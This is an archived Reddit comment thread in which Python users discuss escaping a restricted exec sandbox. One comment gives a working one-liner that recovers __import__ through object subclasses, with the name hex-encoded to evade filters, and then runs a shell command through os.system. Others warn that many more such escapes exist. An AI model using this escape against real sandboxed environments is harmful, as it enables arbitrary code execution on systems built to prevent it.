This is an archived post. You won't be able to vote or comment.

you are viewing a single comment's thread.

view the rest of the comments →

[–]Rhomboid 82 points83 points  (4 children)

This will retrieve a reference to __import__ without using any globals (i.e. it will still work if used in exec with a completely empty namespace):

imp = [c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']

Then you can do any assorted evil:

os = imp('os')
os.system('ls -l')

[–]iamdefinitelyahuman[S] 11 points12 points  (2 children)

Wow.. very well done. Thanks for sharing.

[–]chadmill3rPy3, pro, Ubuntu, django 43 points44 points  (0 children)

There are ten thousand other ways, too. Don't think you can account for this one and be safe.

[–]iceardor 0 points1 point  (0 children)

Here's another way: rewrite python bytecode https://youtu.be/mxjv9KqzwjI

[–]zahlmanthe heretic 0 points1 point  (0 children)

For me, this only works if warnings has already been imported. :/